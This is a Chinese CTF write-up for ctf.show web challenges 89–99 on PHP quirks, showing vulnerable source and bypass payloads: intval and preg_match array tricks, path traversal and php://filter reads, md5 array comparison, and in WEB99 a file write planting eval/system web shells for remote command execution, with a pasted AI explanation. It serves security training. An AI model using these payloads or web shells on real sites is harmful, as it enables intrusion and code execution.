CTF_show Web PHP特性 WEB89-WEB99

CTFSHOW

WEB89

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: [email protected]
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
} 

知识点: intval() 函数用于获取变量的整数值。intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

payload:

1
https://416503b4-7991-4199-8ad0-ac925fae2d37.challenge.ctf.show/?num[]=1

这里是数组绕过 preg_match,intval 这两个函数, preg_match 是在字符串中查询的 遇到数组会false 而intval是将字符串变为整型 遇到数组会返回1 (也就是true)

WEB90

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: [email protected]
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

当你使用 intval($_GET[’num’], 0) 时,PHP 将对字符串 4476# 进行整数转换,PHP 的 intval 函数会从字符串的开始部分提取有效数值,直到遇到非数字字符就停止了,所以当你传入4476的时候,只要在其后面加入特殊符号的url编码值即可绕过 示例:?num=4476%23 ?num=4476%09 等等

这里我使用的4476.1,因为这个函数会把变量截断成整数,但是前面是强等于,所以可以使用这个。也可以使用科学计数法等绕过,例如4476e1等等

附上一个结果表

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 10000000000
echo intval('1e10');                  // 10000000000
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

WEB91

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 

payload:

1
https://c84c2759-252c-4054-a660-3e9eb008861c.challenge.ctf.show/?cmd=%0Aphp

第一个正则表达式使用了多行模式(m),但是第二个没有,也就是只能读取第一行的内容,塞一个%0A(换行)就可以了

WEB92

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

payload:

1
https://7c687645-6793-4d20-ab0f-2d5c73dfac3b.challenge.ctf.show/?num=4476.1

和之前一样,不过这次不能传数组了,另外也可用科学计数法例如4476e123等。

WEB93

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

payload:

1
https://4b54cc99-f5a8-410c-8769-9f363d53fe84.challenge.ctf.show/?num=4476.1

同上,这次增加了对字母的过滤,不能用科学计数法了。

官方的解法是 过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload : ?num=010574

WEB94

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

这次试了一下,前面的几个payload都不能用了,怎么办呢

简单对比一下发现多了一个strpos

(功能:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。)

这玩意会检测0的位置,如果没有0时候会返回false,但是如果0在第一个位置会返回一个0(false),取反后为1,即true。所以这里我们不能让0在第一个位置或者不存在,可以使用?num=4476.0绕过,也可以在原来的payload前面加个空格也可以。

WEB95

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

payload:

1
https://713cbc8d-5dc7-4fab-9390-fb8398456921.challenge.ctf.show/?num=%20010574

同上一道题,不过这里把.给过滤了,所以不能用xxxx.x这种了,改用之前的8进制前面加空格/换行符等等即可

官方wp说这里加一些符号(比如+)也可以

WEB96

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

payload:

1
https://f2dd7e6-2d47-4204-9ad8-8030acb1e13b.challenge.ctf.show/?u=../html/flag.php

先穿越一个路径再回来就行了,这里也可以使用./flag.php这种

还有些师傅用的这个:

1
?u=php://filter/read=convert.base64-encode/resource=flag.php

WEB96

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

这里我们得找两个md5相等的东西?

小知识: PHP 中 md5() 这个函数的参数必须是 string,如果传个数组会:Warning: md5() expects parameter 1 to be string, array given

这里如果传进去数组,会返回NULL并报错,两边都传入数组,都返回NULL就相等了。

WEB98

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?> 

payload:

1
2
https://f07c626b-ca6c-4be3-bd93-85f3d794aa6f.challenge.ctf.show/?flag=flag
POST: HTTP_FLAG=flag

第一行只要get非空,get和post就等效了,第二个和第三个语句可以不触发,如果触发了就是别的东西变成GET了,随便传个参数,然后直接post一个HTTP_FLAG=flag即可

如果需要用完整的链:

1
2
3
4
5
GET:?a=1 → 触发第 1 行:$_GET =& $_POST
POST:flag=flag → 触发第 2 行:$_GET =& $_COOKIE
Cookie:flag=flag → 触发第 3 行:$_GET =& $_SERVER
请求头加:Flag: flag → $_SERVER['HTTP_FLAG'] = 'flag'
最后一行用 $_GET['HTTP_FLAG'],其实就是 $_SERVER['HTTP_FLAG'] → 条件成立,读 flag

WEB99

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

tip:file_put_contents($file, $data);

这一道题乍看起来一头雾水,其实很简单,就是考一个类似任意文件上传的东西

payload

1
2
https://683086c5-872d-4d2e-9265-f758882dfbe8.challenge.ctf.show/?n=2.php
POST: content=<?php @eval($_POST['cmd']); ?>

蚁剑直接连就行了,flag在这里:/var/www/html/flag36d.php

AI分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
1. 代码做了什么?
先把当前源码高亮输出(方便你看题)。
然后构造一个数组 $allow:
循环 $i = 36  $i = 0x36d = 877(不含 877),一共 841 次;
每次往 $allow  push 一个 rand(1, $i) 的随机整数。
最后判断:
如果 $_GET['n'] 存在,并且 in_array($_GET['n'], $allow) 为真,
就执行:file_put_contents($_GET['n'], $_POST['content']); —— 把你 POST 上来的内容写入一个文件,文件名就是 $_GET['n']
核心问题:
怎么让 in_array($_GET['n'], $allow) 为真,并把恶意 PHP 写到一个可执行的文件里?
2. $allow 里到底有什么?(顺便算个概率)
循环:
for ($i=36; $i < 877; $i++) { 
    array_push($allow, rand(1,$i));
}
第一次:i = 36,取 rand(1, 36)
第二次:i = 37,取 rand(1, 37)

最后一次:i = 876,取 rand(1, 876)
所以 $allow 是长度 841 的数组,里面是很多 1 ~ 876 的随机整数(可以重复)。
我们关心某个数字 k 出现在 $allow 里的概率。
某个数字 k 没被选中的概率
只有当循环中 i >= k 时,才可能抽到 k。
对每个这样的 i,当前这一次没抽到 k 的概率是:
1 - 1/i = (i-1)/i
所以:
如果 k <= 36:能抽到它的循环是 i = 36...876
如果 k > 36:能抽到它的循环是 i = k...876
 a = max(36, k),则 “从来没抽到 k” 的概率是:
P(没抽到 k) = ∏_{i=a}^{876} (i-1)/i
            = (a-1)/876       这是个望远镜积
于是:
P(抽到 k) = 1 - (a-1)/876
          = 1 - (max(36,k)-1)/876
特别地:
 k <= 36 时:a = 36
P(k  allow ) = 1 - 35/876 = 841/876  96%
 k = 876 时:
P(k  allow ) = 1 - 875/876 = 1/876  0.1%(很难中)
结论:小一点的数字(≤36)几乎总会出现在 $allow 里,命中率 ≈96%
3. in_array() 的大坑:弱类型比较
关键语句:
in_array($_GET['n'], $allow)
没有第三个参数 true,所以是弱类型比较。
$allow 里的元素是 int
$_GET['n']  string
PHP 的弱比较规则是:
 int == string 时,string 会按 数字 来转:
"1"  1
"1.php"  1
"123abc"  123
"abc"  0
举个例子:
in_array("1.php", [1, 2, 3]);      // true,因为 "1.php" 会变成 1
in_array("123.txt", [123, 456]);   // true,因为 "123.txt" -> 123
所以如果 $allow 里包含整数 1,那么:
in_array('1.php', $allow) // 也会是 true
4. 组合起来:可以写任意 PHP 文件(高概率成功)
利用思路
选一个小整数,比如 1(≤36,命中率高)。
访问时传:?n=1.php
 in_array() 里,'1.php' 会被当成数字 1 去比。
只要 $allow 里正好含有整数 1(概率 ≈96%),in_array() 就为真。
POST 一个你想写入的 PHP 代码:
<?php system($_GET['cmd']); ?>
然后访问 /1.php?cmd=whoami 就能 RCE 了。
Licensed under CC BY-NC-SA 4.0
最后更新于 2025年11月25日
comments powered by Disqus